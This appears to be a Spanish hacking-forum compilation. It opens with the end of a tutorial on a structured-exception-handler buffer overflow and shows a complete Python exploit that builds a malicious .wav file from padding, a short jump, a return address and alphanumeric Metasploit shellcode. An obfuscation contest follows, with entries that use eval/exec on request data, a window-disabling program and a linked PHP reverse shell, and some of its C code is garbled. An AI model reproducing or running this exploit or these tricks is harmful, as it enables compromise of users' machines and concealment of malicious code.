opcodes ff 55 30 = call dword ptr [ebp+0x30] y opcodes ff 65 30 = jmp dword ptr [ebp+0x30] Entonces: 0:000> s 0100000 l 77fffff ff 55 30

Nos devuelve el offset 0x00990a23 que en el orden little Indian es "\x23\x0a\x99\x00". Ahora necesitaremos un salto que salte 6 bytes "\xeb\x06\x90\x90" (podria saltar 7 bytes hacia atras y ahi hacer un gran salto a nuestra shellcode hacia atrs). Entonces pikamos el codigo del exploit que quedaria asi.
#!/usr/bin/env python # Exploit ejemplo ###################### import sys basura = "\x41" * 4132 nseh = "\xeb\x06\x90\x90" seh = "\x23\x0a\x99\x00" # win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com shellcode= ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37" "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48" "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48" "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c" "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48" "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54" "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48" "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43" "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57" "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a" "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b" "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53" "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37" "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49" "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46" "\x4e\x36\x43\x46\x42\x50\x5a") exploit = basura + nseh + seh + shellcode f = open("crash.wav","wb") f.write(exploit) f.close() print ("[+] Hecho!!!")

Lo invocamos desde ms-dos creamos el archivo, lo abrimos con el programa y voil

Hasta la proxima

TORNEO DE OFUSCACIN DE CDIGO


(Varios autores) Autor: JaAViEr Lenguaje: Python Programa: Calculadora
import base64 def v5Wd(Abh5Wd): Abh5Wd=base64.b64encode(Abh5Wd) Abz9GZ=[Abh5Wd] for w2clJHd in Abz9GZ[0]: Abz9GZ.append(w2clJHd) Abz9GZ.reverse() AbvJHdhV3Y="" for Qaz9GZ in Abz9GZ: AbvJHdhV3Y+=Qaz9GZ return AbvJHdhV3Y.replace(Abh5Wd,"") def z9GZ(Qah5Wd): Qaz9GZ=[Qah5Wd] for k2clJHd in Qaz9GZ[0]: Qaz9GZ.append(k2clJHd) Qaz9GZ.reverse() QavJHdhV3Y="" for k0clJHd in Qaz9GZ: QavJHdhV3Y+=k0clJHd return base64.b64decode(QavJHdhV3Y.replace(Qah5Wd,"")) QP="++QP" x8mbnl2c="--wK" kGdsVXb="6MXZg42bpNWYjlGbwlGdsVXTgEGT" ozbyVWb15EIyVWbpJHUX=raw_input(z9GZ("==ozbyVWb15EIyVWbpJHU")) QP=QP.replace("+","=") y8mbnl2c="==SXQL".translate(None,"SX") Qa2lGZ="6MXZg42bpNXa2lGZgEGT" x8mbnl2c=x8mbnl2c.replace("-",z9GZ(QP)) z8mbnl2c="==.wL" mcl1WdOBybk5WdnV2U=raw_input(z9GZ("68mcl1WdOBybk5WdnV2U")) z8mbnl2c=z8mbnl2c.split(".") ozbyVWb15EIyVWbpJHUX=v5Wd(ozbyVWb15EIyVWbpJHUX) mbnl2c="==geeK" EGdzVmc="6MXZgEGdzVmUgEGT" mcl1WdOBybk5WdnV2U=v5Wd(mcl1WdOBybk5WdnV2U) exec "QYtV3c=%s%s%s;"%(z9GZ(ozbyVWb15EIyVWbpJHUX),z9GZ(x8mbnl2c.replace("-",z9GZ(QP))),z9GZ(mcl1WdOBybk5WdnV2U)) QYtV3c2="=ozclBSYtV3UgEGT" print z9GZ(QYtV3c2),QYtV3c exec "EGdzVmc2=%s%s%s;"%(z9GZ(ozbyVWb15EIyVWbpJHUX),z9GZ(y8mbnl2c),z9GZ(mcl1WdOBybk5WdnV2U)) z8mbnl2c="CPH"+z8mbnl2c[0]+z8mbnl2c[1] print z9GZ(EGdzVmc),EGdzVmc2 exec "Qa2lGZ2=%s%s%s;"%(z9GZ(ozbyVWb15EIyVWbpJHUX),z9GZ(z8mbnl2c.translate(None,"HCP")),z9GZ(mcl1WdOBybk5WdnV2U)) print z9GZ(Qa2lGZ),Qa2lGZ2 exec "kGdsVXb2=%s%s%s;"%(z9GZ(ozbyVWb15EIyVWbpJHUX),z9GZ(mbnl2c.replace("e","H").translate(None,"H")),z9GZ(mcl1WdOBybk5WdnV2U)) print z9GZ(kGdsVXb),kGdsVXb2

Autor: Arobavx Lenguaje: Java Programa: Muestra el nombre del foro como se si estubiera tipeando:
import java.io.IOException;import java.io.InputStream;import java.net.URL; class Ofuscador extends Thread { static _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3[] a5_6 = new _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3[10]; static _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3[] a5_7;static int x=0;static String _e = "ratv",e_ ="leit"; public static void main(String[] asd) throws Exception { a5_6[3]=new _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3("02.5_0.122.3_"); a5_6[8]=new _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3("6137524"); while(x<20){System.out.print(man()._63ef721c00eb72cb2bf07a09c2685efb.split( "<"+___()+">")[1].split("</"+___()+">")[0].charAt(x));sleep(100);x++;}} static String ___(){return ""+e_.charAt(e_.length()-1)+e_.charAt(2)+e_.charAt(3) +e_.charAt(0)+e_.charAt(1);} static _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3 man() throws IOException{ URL url = new URL("http://"+Z_OtT53a_("",new _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3("") )+"/~"+__("")+"001");InputStream fi = url.openStream();byte[] b = new byte[4000];int i = 1; _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3 a226_= new _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3(""); while(b[i-1]<4000){a226_._63ef721c00eb72cb2bf07a09c2685efb+=(char)((byte)fi.read()); i++;if(i>3990)break;} return a226_ ; } static String __(String _){ String g = "3102"; for(int s= 0; s<g.length();s++){_+=_e.charAt(Integer.parseInt("" + g.charAt(s)));}return _;} static String Z_OtT53a_(String _,_11f46a67b0792d8eb64c0f7622216a7dcb6f88e3 a_){ _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3 _a=a5_6[8];_11f46a67b0792d8eb64c0f7622216a7dcb6f88e3 a_a=a5_6[(8-5)];for(int a_a_=0; a_a_ < a_a._2fa47f7c65fec19cc163b195725e3844();a_a_++){ if(a_a._88850e87c05bb704be0f8f6f2f81c66d(a_a_)=='.'){_+=a_a._88850e87c05bb704be0f8f6f2f81c66d(a_a_); }else if(a_a._88850e87c05bb704be0f8f6f2f81c66d(a_a_)=='_'){_+=_a._88850e87c05bb704be0f8f6f2f81c66d( (_a._2fa47f7c65fec19cc163b195725e3844()-1));}else{_+=_a._88850e87c05bb704be0f8f6f2f81c66d( Integer.parseInt((""+a_a._88850e87c05bb704be0f8f6f2f81c66d(a_a_))));}} return _;} static class _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3 {String _63ef721c00eb72cb2bf07a09c2685efb; String[] a5_7; _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3(String str){ _63ef721c00eb72cb2bf07a09c2685efb=(String)str;} char _88850e87c05bb704be0f8f6f2f81c66d(int _6a992d5529f459a44fee58c733255e86_){return _63ef721c00eb72cb2bf07a09c2685efb.charAt( _6a992d5529f459a44fee58c733255e86_);}int _2fa47f7c65fec19cc163b195725e3844(){ return _63ef721c00eb72cb2bf07a09c2685efb.length();};}}

Autor: .xAk. Lenguaje: C Programa: Pide una cadena, puede ser en hexadecimal o como cadena, si es cadena, la muestra en hexadecimal y si es en hexadecimal, lo muestra como cadena. La entrada en hexa puede ir separada de : o - ejemplos de entradas en hexa: 4330-3033-3044-4138-3443-4546-34 4330:3033:3044:4138:3443:4546:34 43:30:30:33:30:44:41:38:34:43:45:46:34 4330303330444138344 3454634 que devolvera: C0030DA84CEF4 Tambin acepta entrada por la lnea de comandos de la cadena.
#include <stdio.h> #include <stdlib.h> #include <string.h> void cuadraMsg(char*);int hexaostr(char*);void limpiaShell();int main(int argc,char*argv[]) {int n=0;const char desc[]="Visualiza cadenas en hexadecimal o viceversa";const char app[]= "cphHex2str";const char cph[]="Torneo de ofuscacin de codes de CPH";const char run[]="Ut"\ "iliz" "a" "m"\ "e sin arg" "umentos, o ac" "ompa" "ad"\ "o de una sla" " cadena (o expr" "esi" "n h"\ "exadecimal)";const char como[] ="Esc" "rib"\ "e una " "cade" "na " "o un" " hex" "ade"\ "cimal" " y" " pu" "lsa " "retu" "rn."\ "\nPar" "a t" "ermi" "nar " "esc"\ "ribe " "fin" ;char* cadena =NULL, bucleCtrl ,cursor;if(argc>2 ){limpiaShell() ; printf ( "%s par" "a el %s\n\n%s\n" "\n\n\n\n", app,cph, run); return -1;};if( argc ==2){cadena=(char*) malloc (strlen (argv [1] )+ 1 ) ; strcpy (cadena ,argv[ 1]);} ; do{ limpiaShell ();fprintf (stdout ,"\n\n" "\n["\ "%s] para el %s\n\n\n" "\n%s" "\n\n" "\n\n" ,app,cph,como);if( cadena )hexaostr (cadena ); fprintf ( stdout ,"\n[%s" "]:|> " ,app);cadena=NULL; while(( cursor=

getchar ())!= '\n' ) { cadena = ( char *) realloc (cadena ,cadena== NULL?2: strlen (cadena )+2); sprintf( cadena, "%s%c" ,cadena, cursor) ;}; if( cadena &&strcmp( cadena ,"fin" ) == 0 ) bucleCtrl ='F'; setbuf ( stdin, NULL );}while( bucleCtrl !='F' ); free( cadena ); limpiaShell (); fprintf ( stdout, "%s\t%s\t\tjuni" "o - 201" "1"\ "\n\n" "\n\n@('_" "')@ ByE " " @('_')" "@"\ "\n" "\n\n",app, cph); return 0; }int strHex2int (char*x){ int n = strlen ( x ) ;int sum=0; int leftshift =0;while ( n>0 ){ if((x[n-1] >= '0') &&(x[n-1] <= '9') )sum+=(x[n-1]-'0')<< leftshift ;if((x[n-1] >= 'A') && (x[n-1]<='F'))sum+=(x[n-1] -'A'+10)<<leftshift; if ((x [n1] >='a')&&(x[n-1]<='f') )sum +=( x [n -1] -'a'+10) << leftshift ;n-; leftshift+= 4;}return sum;} char*strHex2str( char * clave ) { char*tmpStr= NULL; do{ char par[ 3]; par [ 0] =* ( clave ++) ; if(clave==NULL)par[1]='\0';else par[1]=*(clave++) ; par [2] ='\0';if(*clave==':'||*clave=='-')clave++;tmpStr = tmpStr != NULL ?realloc(tmpStr,strlen(tmpStr)+3):( tmpStr = malloc (3) ); sprintf ( tmpStr, "%s%c" , tmpStr , strHex2int (par) );}while ( *clave ) ; return tmpStr ;} void cuadraMsg(char*msg){char* str = NULL ; int largo= strlen(msg) , horizontal =largo+ 5,bucle;str= ( char*) malloc (horizontal *3+ 1);for( bucle=0; bucle < horizontal -1;bucle++ ) strcat (str, "#"); strcat (str, "\n# ") ;sprintf (str,"%s%s #\n",str,msg); for (bucle=0; bucle <horizontal -1;bucle++)strcat (str,"#");fprintf (stdout, "%s\n",str) ;str=NULL; free(str);}int esHexa (char *palabreja) { char aPares=0; while (* palabreja != '\0'){ if((* palabreja>='0')&&(*palabreja <='9')|| (*palabreja >= 'A' ) &&(*palabreja<='F')||(*palabreja >= 'a') && (*palabreja<='f' ) ) aPares>1?aPares = 1: aPares++; else if(aPares==2&&(*palabreja ==':'||*palabreja=='-'))aPares =0;else return 0; palabreja++; }return aPares==2;}int hexaostr (char * cadena){char*entrada= NULL; entrada=malloc( strlen (cadena)+1);strcpy(entrada, cadena);if(esHexa(cadena)) {strcpy(entrada,strHex2str ( entrada ) ) ; int chars =strlen( entrada ); const char tmpStr[]= "Has" " e" "ntrado una c"\ "adena en" " Hexade" "cimal"; const char tmpStr1[] ="que como "\ "cadena es:" ; int tmpInt=strlen(cadena );chars+=tmpInt+strlen(tmpStr)+strlen(tmpStr1)+strlen( entrada) + 14;char tmpCadena[sizeof(cadena)]; strcpy(tmpCadena,cadena);cadena=(char*)realloc( cadena,chars);sprintf(cadena,"%s [%s] %s => %s",tmpStr,tmpCadena,tmpStr1,entrada);}else{const char tmpStr[]="Has entrado una cadena de caracteres";const char tmpStr1[]="en hexadecimal e"\ "s:";char*resultado=NULL;const char*doble=cadena;while(* doble!='\0'){resultado = resultado== NULL?malloc(3):realloc(resultado,strlen(resultado)+3);if(strlen(resultado))sprintf(resultado, "%s:%x", resultado,(int)*doble );else sprintf(resultado,"%x",*doble);doble++;}char tmpCadena[ sizeof(cadena)];strcpy(tmpCadena,cadena);int chars=strlen(tmpStr)+strlen(tmpCadena) + strlen( tmpStr1 )+strlen(resultado)+ 9;cadena=(char* )realloc(cadena, cadena!=NULL?strlen(tmpCadena)+ chars:chars);sprintf(cadena,"%s [%s] %s => %s",tmpStr,tmpCadena,tmpStr1,resultado);}cuadraMsg (cadena );entrada=NULL;free( entrada);}void limpiaShell() {if(getenv("WINDIR"))system("cls"); else system("clear");}

Autor: messerschmitt Lenguaje: VB Programa: Dice "ofuscacion", el beep es opcional.


Private Declare Function beep Lib "kernel32" Alias "Beep" (ByVal frecuencia As Long, ByVal msegundos As Long) As Long Private Sub Form_Load() Static v As Long, b As Long Dim i As Variant, a As Variant, sv() As String, res As String, rer As String, N As Integer If 1 + 69 = 70 Then N = 2 * 2 + 1 For Each a In Array("tksdjldldk", "kkjsdjhksd", "zdjldskjl", "xjdjdjs", "hahahahaha", "fafaffa", "hahaah", "nananana", "teteette", "ssjkshjshk") res = res & Asc(Mid(a, 1, 1)) - Val(N) & "/" If Val(res) >= 200 + Log(1337) Then Exit Sub End If Next sv = Split(res, "/") For i = LBound(sv) To UBound(sv)

v = v + 100 - 50 * 2 - 100 + 100 + 100 rer = rer & Chr(Val(sv(i))) beep v, 100 MsgBox rer Next End End Sub

Autor: carlmycol Lenguaje: PHP Programa: Es una especie de calculadora, lo que haces es llamarlo desde consola con una expresin matemtica simple como 5+5 y 5*4/2 Ejemplo: php f.php 5*8 Responde: 40
<?php $bXg2WWxkYWVnPT=array("\x59l\x68n\x4dl\x64X" ."\x65G\x74Z\x56" => "\x73t\x72l\x65n", "\x68W\x62W"."\x68Q\x56m\x314\x521\x5a" => "\x73t\x72" ."r\x65v","\x64\x77\x62\x31\x4E\x45\x54\x57\x64". "\x77\x62"=>"\x65\x63\x68\x6F");$yWmhhWE5tWV =$YXdnZmFxZWhTV0dTt=''; $pb1NOZm9OU2Zpb25=array (array(96,96,100,133,139,125,123,125), array(67=>36,10=>51,93=>95,49=>80,17=> 21,16=>100,50=>2,16=> 65),array(39=>1,18=>63,74=>52,19 => 98,63=>64,72=>28,22=>14,21=>30)); $NtZ3BBT1NHTU9=array(array(array(array( $Fnbm9zaWdTRw=true,false,true,true),array (false,false,true,true,true), array_reverse(array_merge(array(true,false, $YXdnZmFxZ=true,true),array_reverse(array( true,false, true, true)))),array_reverse( array_merge(array(true, false , true, true, false, true), array(false, true, true))))),array( array_reverse(array(true, false, false, false, false, true, true)),array(true, true, true, false, false, true, false),array_reverse(array( true, true, true, false, false, true, true )),array(true, true, true, fa lse, true, true, false)));$YXdnZmFxZWhTV0dT=array(73, 110, 103, 114, 101, 115, 97,32,101,120,112,114,101, 115,105,111,110,32,99,111,109,111,58,32, 53,43,56);foreach ($bXg2WWxkYWVnPT as $bXG2WWxkYWVnPT => $bXg3WWxkYWVnPT){ $ $bXG2WWxkYWVnPT = $bXg3WWxkYWVnPT;}$yWmhhWE5tWVv =array( array( '', ''), array('', '')); $drOWlNbXg2WWxk = array(function( $NVzVhYlV) {global $YlhnMldXeGtZV;global $bXg2WWxkYWVnPT;return $YlhnMldXeGtZV ($NVzVhYlV);});$UYmxKT1ZucFdhR= $bXg2WWxkYWVnPT["U\x59m\x78K\x541\x5au\x63F" ."\x64h\x52"]=$bXg2WWxkYWVnPT["h\x57b" ."\x57h\x51V\x6d1\x34R\x31Z"] ("t\x6eu\x6fc"); $yWmhhWE5tWV=array( array( '' , ''), array('', ''));$dwb1NETWdwb2R= array_reverse(array("\x62a\x73e\x364" ."\x5fe\x6ec\x6fd\x65",'',array('',"\x73e\x74t" ."\x79p\x65",'',array_merge($_SERVER, $_REQUEST) ,'',"\x62a\x73e\x364\x5fd\x65c\x6fd" ."\x65"),array ('dhbm1nZmFpb3' => "\x63\x68\x72", 'lzbWZz' => "\x73\x74\x72\x5F\x73\x70" ."\x6C\x69\x74",'NmYXNVQUZOb2lz' => "\x62\x69\x6E\x64\x65\x63",'cwaW1zZGdTRE' => $waW1zZGdTREd=$bXg2WWxkYWVnPT["\x68\x57". "\x62\x57\x68\x51\x56\x6D\x31\x34" ."\x52\x31\x5A"] ("\x66\x74\x6E\x69\x72\x70"), 'JU01naGk5ME' => "\x70\x6F\x77")));foreach ($YXdnZmFxZWhTV0dT as $YXdnZmFxZWhTV00dT ) {$YXdnZmFxZWhTV0dTt.=$dwb1NETWdwb2R[false] ["\x64\x68\x62\x6D\x31\x6E\x5A\x6D\x46\x70" ."\x62\x33"]($YXdnZmFxZWhTV00dT);} $yWmhhWE5tWV=$yWmhhWE5tWV[true][true]; $dwb1NETWdwb2R[false]["\x63\x77\x61\x57\x31" ."\x7A\x5A\x47\x64\x54\x52\x45"] ("\t");foreach($NtZ3BBT1NHTU9[true] as $NtZ3BBT1NHTu9 => $NTZ3BBT1NHTU9){$ZmFpb3duZ2 ='';foreach($NTZ3BBT1NHTU9 as $ZmFbb3duZ2) {$ZmFbb3dUZ2=null; $ZmFbb3dUZ2=(int)$ZmFbb3duZ2; $ZmFpb3duZ2.=$ZmFbb3dUZ2;}$aXdhbm1nZ= $dwb1NETWdwb2R[false] ["\x4E\x6D\x59\x58" ."\x4E\x56\x51\x55\x5A\x4F\x62\x32\x6C\x7A"]( (int)$ZmFpb3duZ2);$yWmhhWE5tWV.= $dwb1NETWdwb2R[false] ["\x64\x68\x62\x6D" ."\x31\x6E\x5A\x6D\x46\x70\x62\x33"]($aXdhbm1nZ); }$yWmhhWE5tWVv=$yWmhhWE5tWVv[true] [true];$saG5NbGRYZUd0W=$dwb1NETWdwb2R [true][$YlhnMldXeGtZV("CPH")] [$yWmhhWE5tWV]; $Vm1wR1lWWXlUWGhTYms1VVl = array ( "\x69b\x54B\x51T\x55Z\x77T\x56N\x6ec" ."\x47" => array(array(true, false, true, true, false, false, true),array(true, true, false, false, true, false),array(true, true, true, false, false, true),array(true,true, false, false, false, true),array_reverse (array(false, true, false, false, false ,true, true)),array(true, true, false, true, true, true, false),array(true, false ,true, false, false, false, true), array_reverse(array(true, false, true, true, true ,true))));$aXNhZm5tSUFTT='';foreach ($pb1NOZm9OU2Zpb25[0] as $zaUFnbm9zaWdTR => $zaUFnbm9zaWdTr) {$zauFnbm9zaWdTR=$zaUFnbm9zaWdTr -($dwb1NETWdwb2R[false]["\x4A\x55\x30" ."\x31\x6E\x61\x47\x6B\x35\x4D\x45"](( (int)true+ (int)true)*((int)true+(int)true+(int)true) ,((int)true+(int)true)*((int)true+(int )true+(int)true))-(int)true);$aXNhZm5tSUFTT .= chr($zauFnbm9zaWdTR);} $aXNhZm5tSUFTT= $dwb1NETWdwb2R[true][$dwb1NETWdwb2R [false]["\x4A\x55\x30\x31\x6E\x61\x47". "\x6B\x35\x4D\x45"] ((int)true+(int)true, (int) true+(int)false+(int)true)+(int)true] ($hWbWhQVm14R1Z($aXNhZm5tSUFTT));if(( $UYmxKT1ZucFdhR($saG5NbGRYZUd0W))>$UYmxKT1ZucFdhR ($Vm1wR1lWWXlUWGhTYms1VVl)){if($UYmxKT1ZucFdhR ($dwb1NETWdwb2R[true][$YlhnMldXeGtZV("W" ."IN")] [$yWmhhWE5tWV])==((int)true+(int)true)) {eval("\t\x65\x63\x68\x6F ".$saG5NbGRYZUd0W [$YXdnZmFxZ]."\x3B\n");}}else{$dwb1NETWdwb2R [false] ["\x63\x77\x61\x57\x31\x7A\x5A\x47\x64" ."\x54\x52\x45"]($YXdnZmFxZWhTV0dTt);} $dwb1NETWdwb2R[false] ["\x63\x77\x61\x57\x31" ."\x7A\x5A\x47\x64\x54\x52\x45"]("\n"); ?>

NOTA: No dijo que hacia el cdigo as que no esta probado. Autor: Jh0ubrt Lenguaje: C++
#include <iostream> #define _l_l_l_l_l__ll_l_l_l_ while #define l_l_l_l_l_l_l_ int #define l_l_l_l_l_l_l_l_ cout #define l_l_l_l_l_l_l_l_l endl #define _l__l_l_l_l_l_l_l_l return using namespace std; l_l_l_l_l_l_l_ _l_l_l_l_l_l_l_l_l_(l_l_l_l_l_l_l_ __l_l_l_l_l_l_l_l_l_l_l_l_){l_l_l_l_l_l_l_ L=4,_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_=1,_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_=0,_l[__l_l_l_l_l_l_l_l_l_l_l_l_][1024]; _l[0][0]=1;_l[0][1]=1+1;_l[0][2]=1;_l_l_l_l_l__ll_l_l_l_(_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_<__l_l_l_l_l_l_l_l_l_l_l_l_) {_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_=0;_l_l_l_l_l__ll_l_l_l_(_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_<L){ _l[_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_] [_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_]=_l[_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_-1][_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_] +_l[_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_-1][_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_-1]; _l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_++;}_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_++;L++;} l_l_l_l_l_l_l_l_<<"1: "<<1<<" "<<1<<__l_l_l_l_l_l_l_l_l_l_l_l_<<l_l_l_l_l_l_l_l_l;L=3;l_l_l_l_l_l_l_ _l_l_l_l_l_l_l_l_l_l_l_l_ll_=0,_l_l_l_l_l_l_l_l_l_l_l_l_ll_1=0;_l_l_l_l_l__ll_l_l_l_(_l_l_l_l_l_l_l_l_l_l_l_l_ll_1<__l_l_l_l_l_l_l_l_ l_l_l_l_){ _l_l_l_l_l_l_l_l_l_l_l_l_ll_=0;l_l_l_l_l_l_l_l_<<L-1<<": ";_l_l_l_l_l__ll_l_l_l_(_l_l_l_l_l_l_l_l_l_l_l_l_ll_<L) {l_l_l_l_l_l_l_l_<<_l[_l_l_l_l_l_l_l_l_l_l_l_l_ll_1][_l_l_l_l_l_l_l_l_l_l_l_l_ll_]<<" ";_l_l_l_l_l_l_l_l_l_l_l_l_ll_++;} l_l_l_l_l_l_l_l_<<l_l_l_l_l_l_l_l_l;L++;_l_l_l_l_l_l_l_l_l_l_l_l_ll_1++;}_l__l_l_l_l_l_l_l_l 0;} l_l_l_l_l_l_l_ main(){ l_l_l_l_l_l_l_ _l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_;cin>>_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_;_l_l_l_l_l_l_l_l_l_(_l_l_l_l_l_l_l_l_l__l_ l_l_l_l_l_l_l_l_l_l_-1); _l__l_l_l_l_l_l_l_l 0;}

Autor: mil0666 Lenguaje: C++ Programa: Lo que hace este programa es buscar una ventana de las que se encuentran en la lista "ventanas" del cdigo, si la ventana se encuentra abierta ,el programa bloquea la entrada del ratn y el teclado en las ventanas que haya encontrado.
#include <windows.h> #include <cstdlib> #include <cstdio> #include <iostream> using namespace std;const char ventanas[7][87]={"Reproductor de Windows Media","Mi PC", "Windows Live Messenger","Panel de control","Disco local (C:)","Mis imgenes"};HWND hwnd[6]={ hwnd[0]=FindWindow(NULL,ventanas[0]),hwnd[1]=FindWindow(NULL,ventanas[1]), hwnd[2]=FindWindow(NULL,ventanas[2]),hwnd[3]=FindWindow(NULL,ventanas[3]), hwnd[4]=FindWindow(NULL,ventanas[4]),hwnd[5]=FindWindow(NULL,ventanas[5])}; void buscar(){if(hwnd[0]==NULL){cout<<"No se encontro la ventana: "<<ventanas[0];getchar();} else{EnableWindow(hwnd[0],false);cout<<"Se encontro la ventana: "<<ventanas[0];getchar();} if(hwnd[1]==NULL){cout<<"No se encontro la ventana: "<<ventanas[1];getchar();}else{ EnableWindow(hwnd[1],false);cout<<"Se encontro la ventana: "<<ventanas[1];getchar();} if(hwnd[2]==NULL){cout<<"No se encontro la ventana: "<<ventanas[2];getchar();}else{ EnableWindow(hwnd[2],false);cout<<"Se encontro la ventana: "<<ventanas[2];getchar();} if(hwnd[3]==NULL){cout<<"No se encontro la ventana: "<<ventanas[3];getchar();}else{ EnableWindow(hwnd[3],false);cout<<"Se encontro la ventana: "<<ventanas[3];getchar();} if(hwnd[4]==NULL){cout<<"No se encontro la ventana: "<<ventanas[4];getchar();}else{ EnableWindow(hwnd[4],false);cout<<"Se encontro la ventana: "<<ventanas[4];getchar();} if(hwnd[5]==NULL){cout<<"No se encontro la ventana: "<<ventanas[5];getchar();}else{ EnableWindow(hwnd[5],false);cout<<"Se encontro la ventana: "<<ventanas[5];getchar();}}; int main(){SetConsoleTitle("Buscador De ventanas");buscar();getchar();return 0;}

Autor: jep Lenguaje: C Programa: imprime la cantidad de veces que aparece cada letra en una cadena Extra: cdigo sin ofuscar
#include <stdio.h> #define MAX 100 #define LEN_LETRAS 26 int main(void) { int cant; char tx[MAX]; int c1,c2; printf("Cargar una cadena\n"); fgets(tx,MAX,stdin); for(c1=0;c1<LEN_LETRAS;c1++) { for(c2=0,cant=0;tx[c2]!='\0';c2++)

if(tx[c2]=='a'+c1) cant++; printf("%c\t%i\n",'a'+c1,cant); } return(0); }

Cdigo ofuscado
#include <stdio.h> #define l "%c\t\ %i\n\0 Cargar u\ na cadena\n\0 " #define w(j,x\ , y, z) for\ (j;x;y,z) #def\ i\ ne \ g(g) fg\ ets(g,M,stdin) #define p printf #define R (l+8) #define c char #define M\ 100 #defi\ ne v(j,x\ ,y,z) for(\ j,x;y;z) int main() {c C,t[M], *u=M/100, U, D, J=0, K=0; p(R); g(t); w(U=(l==R), U<26,U=&u[U],p(l,U+'a'-1, C)) v(D=0,C=0, *(D+t) != (l==0), D= &u[D]) *(t+D)=='a'+U? C = &u[C] :C; }

Autor: >> s E t H << Lenguaje: PHP Programa: es una shell inversa y se ejecuta as: php asd.txt <ip> <puerto> http://xd-blog.com.ar//tkb/el/chorE/asd.txt Autor: R@MI Lenguaje: VB Programa: No se bien que explique el mejor o EddyW xD. Inserta el Code en un form, ponele 2 textbox, tres optionbutton, y un commandbutton.
'@@@@@@@@@@@@@@@@@@@@@@@@@@@@ '@@@@ By R@MI @@@@@@@@@@@@ '@@@@@@@@@@@@@@@@@@@@@@@@@@@@ '################################################# '### Intento de ofuscacin de source code V2.2 ### '################################################# Private Declare Function EbExecuteLine Lib "vba6.dll" _ (ByVal pStringToExec As Long, ByVal Foo1 As Long, _ ByVal Foo2 As Long, ByVal fCheckOnly As Long) As Long Dim Numbers As String, Letras As String Private Sub Command1_Click() Dim TMsg As String, Msg As String, TMPSMsg As VbMsgBoxStyle, SMsg As String: Numbers = StrReverse("0123456789"): Letras = StrReverse("abcdefghijklmnopqrstuvwxyz, """): Dim CodeLine As String: TMsg = StrReverse(Text1): Msg = StrReverse(Text2): GoTo A1 A6: EbExecuteLine StrPtr(CodeLine), 0&, 0&, Abs(False): Exit Sub A2: If Option3.Value = True Then TMPSMsg = vbInformation: GoTo A8 Else GoTo A8 A1: If Option1.Value = True Then TMPSMsg = vbCritical: GoTo A8 Else GoTo A3 A9: CodeLine = UCase(Mid(StrReverse(Letras), 13, 1)) & Mid(StrReverse(Letras), 19, 1) & Mid(StrReverse(Letras), 7, 1) & UCase(Mid(StrReverse(Letras), 2, 1)) & Mid(StrReverse(Letras), 15, 1) & Mid(StrReverse(Letras), 24, 1) & 